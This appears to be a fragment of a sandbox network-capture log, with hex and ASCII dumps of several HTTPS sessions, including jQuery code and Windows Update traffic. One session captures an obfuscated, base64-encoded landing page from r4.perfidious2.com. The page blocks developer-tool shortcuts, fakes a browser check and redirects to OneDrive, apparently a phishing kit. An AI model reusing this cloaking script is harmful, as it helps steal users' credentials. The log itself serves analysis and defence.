5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-12-03 08:05:23 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-03 08:05:23 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-12-03 08:05:23 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-12-03 08:05:23 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49730	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:49 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VnVOhCEcy84x5vD&MD=aXoMy7BK HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-03 08:05:50 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 9c37a3e5-8a3c-4803-955a-952973e2e831 MS-RequestId: f0996617-811a-4edb-be2b-a697a332f29f MS-CV: e2NN0JkNUU+Z0jqr.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 03 Dec 2024 08:05:49 GMT Connection: close Content-Length: 30005
2024-12-03 08:05:50 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-03 08:05:50 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49736	104.21.7.52	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:55 UTC	1396	OUT	GET /7Ns2j_S_gr7Bb9fugBSyePMT2hE/ HTTP/1.1 Host: r4.perfidious2.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkFYb1hDeUY2WGdlS0R0djBBajdObkE9PSIsInZhbHVlIjoiRXdpaXo1cW9pMnVzdGdNZHB0cGN3Y1FtUGsvZjB2WUhOODZDSjUxclRUWVpDclVHdWJ6SXQxM1diRVpPL21CTFBxbUtYYlN0OHZ1M3VNbisyanFEY2RxdGRvUGx4LzZVcEZhazVaZDBQdWpxT2ROeklYTXNIQUh0SlE4VUJsNGMiLCJtYWMiOiJlYzg3MGYwMzQyZTJmYTQ1MmE4MzliNjk0M2YzM2Y3ODUzOGUzYmI3OTI5MmM5OWY0NmY3MTM1NWI1NmMxZGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlRJM1BHbmhQS3A1S2VYOS80ZFM1R2c9PSIsInZhbHVlIjoiZHkzbGh1TWpEb0VPNldJV2hKTTAvamR1MGI1SXQ2aVdYTDk2UlJLMllGK0JzV01yQTlxZ0pZUlRYQUlwUjJWY1pqT05qKzZnZytRenR1ZlJ3aWNQUGR1V0xsUCtnamVEcnFTV2trQnpnZTVJYkhuc0JyVFhDdklYaW0yemNvQkQiLCJtYWMiOiIxZDg1ZTYwZmRkODVmNzY0NTM2YTVlMzkzZTdlM2JhYzE4ODZhNTRkZGY2ZWYwMjgxOTI1OTBiN2FjODMyOTZmIiwidGFnIjoiIn0%3D
2024-12-03 08:05:56 UTC	1217	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:05:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UQWS10oadMR9mgx0dJgVjK4afl4Jph21pPeMZI6J4GfwrRUvOB94hmES64F7ixNsGq8bp8Cc64PlNuRhzWfXVRQI6idSWbgT831R5LNVOPrkHEgwj%2Fh%2Fj8HGDMyuAQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4557&min_rtt=4510&rtt_var=1725&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2284&delivery_rate=642128&cwnd=251&unsent_bytes=0&cid=826ec59257ce948e&ts=151&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im9abHJUdzR5d2ZHWk5UUnRrb0NWNEE9PSIsInZhbHVlIjoiYTk4WE1ZZjB5Q0NBUjlZNGhQeUY4V1dSVmVBNHBuWDR0N21UeGVHb0hpV1ZGdGxRN3NIMFVOaEt3QkhnZjY3MGtpWnYyb1RKZ1pjMGZ3QjkySkRWWU9IbkpoRHF1VWVKYXVGam1JUHVGbzloaFl0TXJacDlEVmRmem5QT291UTYiLCJtYWMiOiJkNGIwMzFhZmIwNTBhOWM4Yjg4ZDkxZmNmNTI2NmY1ZDljZjU2OGQyMWZiYTdhMzJhM2MwYzViNmZjNzFmYTJjIiwidGFnIjoiIn0%3D; expires=Tue, 03-Dec-2024 10:05:56 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-03 08:05:56 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 64 34 4d 32 4a 68 64 6b 6f 33 57 6d 52 32 56 44 6c 55 56 54 4e 68 63 33 52 42 64 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 54 46 4e 53 44 5a 54 5a 54 51 7a 5a 6e 46 73 62 6a 68 75 62 48 49 72 54 58 64 6d 4d 6b 68 6d 57 6b 4d 35 57 47 64 71 65 6c 68 58 59 6b 31 46 61 32 5a 6f 59 56 56 4d 4d 48 70 57 54 45 78 4c 56 43 74 32 52 6e 6c 77 64 30 74 34 64 6a 51 30 65 48 42 44 52 6d 70 73 55 45 63 7a 62 55 4a 71 62 45 55 32 4d 46 46 74 61 56 51 76 64 44 4e 79 59 6d 64 44 53 7a 56 54 51 31 46 6e 4d 47 52 6c 65 57 51 32 64 55 4d 33 64 54 6b 76 64 30 56 33 54 6a 56 56 5a 30 39 59 4f 54 5a 72 4d 31 42 73 4e 57 52 42 5a 58 45 35 52 54 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Imd4M2Jhdko3WmR2VDlUVTNhc3RBd1E9PSIsInZhbHVlIjoidTFNSDZTZTQzZnFsbjhubHIrTXdmMkhmWkM5WGdqelhXYk1Fa2ZoYVVMMHpWTExLVCt2Rnlwd0t4djQ0eHBDRmpsUEczbUJqbEU2MFFtaVQvdDNyYmdDSzVTQ1FnMGRleWQ2dUM3dTkvd0V3TjVVZ09YOTZrM1BsNWRBZXE5RTg
2024-12-03 08:05:56 UTC	1369	IN	Data Raw: 34 63 32 30 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 56 62 69 35 77 5a 58 4a 6d 61 57 52 70 62 33 56 7a 4d 69 35 6a 62 32 30 76 4e 30 35 7a 4d 6d 70 66 55 31 39 6e 63 6a 64 43 59 6a 6c 6d 64 57 64 43 55 33 6c 6c 55 45 31 55 4d 6d 68 46 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 Data Ascii: 4c20<script>if(atob("aHR0cHM6Ly9Vbi5wZXJmaWRpb3VzMi5jb20vN05zMmpfU19ncjdCYjlmdWdCU3llUE1UMmhFLw==") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cH
2024-12-03 08:05:56 UTC	1369	IN	Data Raw: 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4e 6a 4a 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 74 4b 54 74 74 59 58 4a 6e 61 57 34 74 63 6d 6c 6e 61 48 51 36 49 47 46 31 64 47 38 37 62 57 46 79 5a 32 6c 75 4c 57 78 6c 5a 6e 51 36 49 47 46 31 64 47 38 37 66 51 30 4b 49 33 56 76 57 56 4a 77 59 58 46 5a 59 30 55 67 4c 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 48 74 Data Ascii: aXRpb246IHJlbGF0aXZlO3RvcDogNjJweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI3VvWVJwYXFZY0UgLnRleHQtY2VudGVyIHt
2024-12-03 08:05:56 UTC	1369	IN	Data Raw: 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 7a 61 47 6c 6d 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 33 4d 79 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 Data Ascii: CAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQu
2024-12-03 08:05:56 UTC	1369	IN	Data Raw: 41 67 49 43 41 67 61 57 59 67 4b 46 5a 68 61 45 6c 32 5a 56 6c 68 63 47 73 67 4c 53 42 4f 61 6d 46 71 52 30 68 4c 57 48 5a 7a 49 44 34 67 62 6b 39 6a 53 57 46 6b 56 58 56 35 54 43 41 6d 4a 69 41 68 62 46 42 33 64 56 42 34 55 45 78 73 5a 69 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 62 46 42 33 64 56 42 34 55 45 78 73 5a 69 41 39 49 48 52 79 64 57 55 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 33 61 57 35 6b 62 33 63 75 62 47 39 6a 59 58 52 70 62 32 34 75 63 6d 56 77 62 47 46 6a 5a 53 67 6e 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63 75 62 32 35 6c 5a 48 4a 70 64 6d 55 75 59 32 39 74 4a 79 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 30 4e 43 69 41 67 49 43 42 39 4c 43 41 78 4d 44 41 77 4b 54 73 4e 43 6e 30 70 4b Data Ascii: AgICAgaWYgKFZhaEl2ZVlhcGsgLSBOamFqR0hLWHZzID4gbk9jSWFkVXV5TCAmJiAhbFB3dVB4UExsZikgew0KICAgICAgICAgICAgbFB3dVB4UExsZiA9IHRydWU7DQogICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnaHR0cHM6Ly93d3cub25lZHJpdmUuY29tJyk7DQogICAgICAgIH0NCiAgICB9LCAxMDAwKTsNCn0pK
2024-12-03 08:05:56 UTC	1369	IN	Data Raw: 6c 63 6d 6c 6d 65 57 6c 75 5a 79 42 35 62 33 56 79 49 47 4a 79 62 33 64 7a 5a 58 49 67 64 47 38 67 5a 57 35 7a 64 58 4a 6c 49 47 45 67 63 32 56 6a 64 58 4a 6c 49 47 4e 76 62 6d 35 6c 59 33 52 70 62 32 34 75 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 43 39 6b 61 58 59 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 78 7a 59 33 4a 70 63 48 51 2b 44 51 70 30 64 58 4a 75 63 33 52 70 62 47 55 75 63 6d 56 75 5a 47 56 79 4b 43 63 6a 59 32 59 6e 4c 43 42 37 44 51 6f 67 49 43 41 67 63 32 6c 30 5a 57 74 6c 65 54 6f 67 4a 7a 42 34 4e 45 46 42 51 55 46 42 51 55 46 36 62 69 31 71 61 58 64 33 64 58 51 35 56 6e 6c 32 52 79 63 73 44 51 6f 67 49 43 41 67 4a 32 56 79 63 6d 39 79 4c 57 4e 68 62 47 78 69 59 57 Data Ascii: lcmlmeWluZyB5b3VyIGJyb3dzZXIgdG8gZW5zdXJlIGEgc2VjdXJlIGNvbm5lY3Rpb24uDQo8L2Rpdj4NCjwvZm9ybT4NCjwvZGl2Pg0KPC9kaXY+DQo8L2Rpdj4NCjxzY3JpcHQ+DQp0dXJuc3RpbGUucmVuZGVyKCcjY2YnLCB7DQogICAgc2l0ZWtleTogJzB4NEFBQUFBQUF6bi1qaXd3dXQ5Vnl2RycsDQogICAgJ2Vycm9yLWNhbGxiYW
2024-12-03 08:05:56 UTC	1369	IN	Data Raw: 49 43 41 67 61 57 59 6f 5a 47 46 30 59 56 73 6e 63 33 52 68 64 48 56 7a 4a 31 30 67 50 54 30 67 4a 33 4e 31 59 32 4e 6c 63 33 4d 6e 4b 58 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 62 47 39 6a 59 58 52 70 62 32 34 75 63 6d 56 73 62 32 46 6b 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 30 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 6f 5a 47 46 30 59 56 73 6e 63 33 52 68 64 48 56 7a 4a 31 30 67 50 54 30 67 4a 32 56 79 63 6d 39 79 4a 79 6c 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 58 42 73 59 57 4e 6c 4b 43 64 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 76 62 6d 56 6b 63 6d 6c 32 5a 53 35 6a 62 32 30 6e 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 66 51 30 4b 49 43 41 Data Ascii: ICAgaWYoZGF0YVsnc3RhdHVzJ10gPT0gJ3N1Y2Nlc3MnKXsNCiAgICAgICAgbG9jYXRpb24ucmVsb2FkKCk7DQogICAgICAgIH0NCiAgICAgICAgaWYoZGF0YVsnc3RhdHVzJ10gPT0gJ2Vycm9yJyl7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5vbmVkcml2ZS5jb20nKTsNCiAgICAgICAgfQ0KICA
2024-12-03 08:05:56 UTC	1369	IN	Data Raw: 65 2e 73 6c 69 63 65 28 30 2c 20 2d 31 29 3b 0d 0a 7d 0d 0a 63 6f 6e 73 74 20 55 49 51 6a 57 49 72 67 77 62 20 3d 20 76 65 76 6e 63 64 49 6b 48 64 2e 70 61 74 68 6e 61 6d 65 2b 27 2f 27 3b 0d 0a 69 66 28 55 49 51 6a 57 49 72 67 77 62 20 3d 3d 20 4c 4a 75 65 51 73 50 4f 75 6c 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 Data Ascii: e.slice(0, -1);}const UIQjWIrgwb = vevncdIkHd.pathname+'/';if(UIQjWIrgwb == LJueQsPOul){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20v
2024-12-03 08:05:56 UTC	1369	IN	Data Raw: 6f 67 4e 6a 4a 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 74 4b 54 74 74 59 58 4a 6e 61 57 34 74 63 6d 6c 6e 61 48 51 36 49 47 46 31 64 47 38 37 62 57 46 79 5a 32 6c 75 4c 57 78 6c 5a 6e 51 36 49 47 46 31 64 47 38 37 66 51 30 4b 49 33 56 76 57 56 4a 77 59 58 46 5a 59 30 55 67 4c 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 48 74 30 5a 58 68 30 4c 57 46 73 61 57 64 75 4f 69 42 6a 5a 57 35 30 5a 58 49 68 61 Data Ascii: 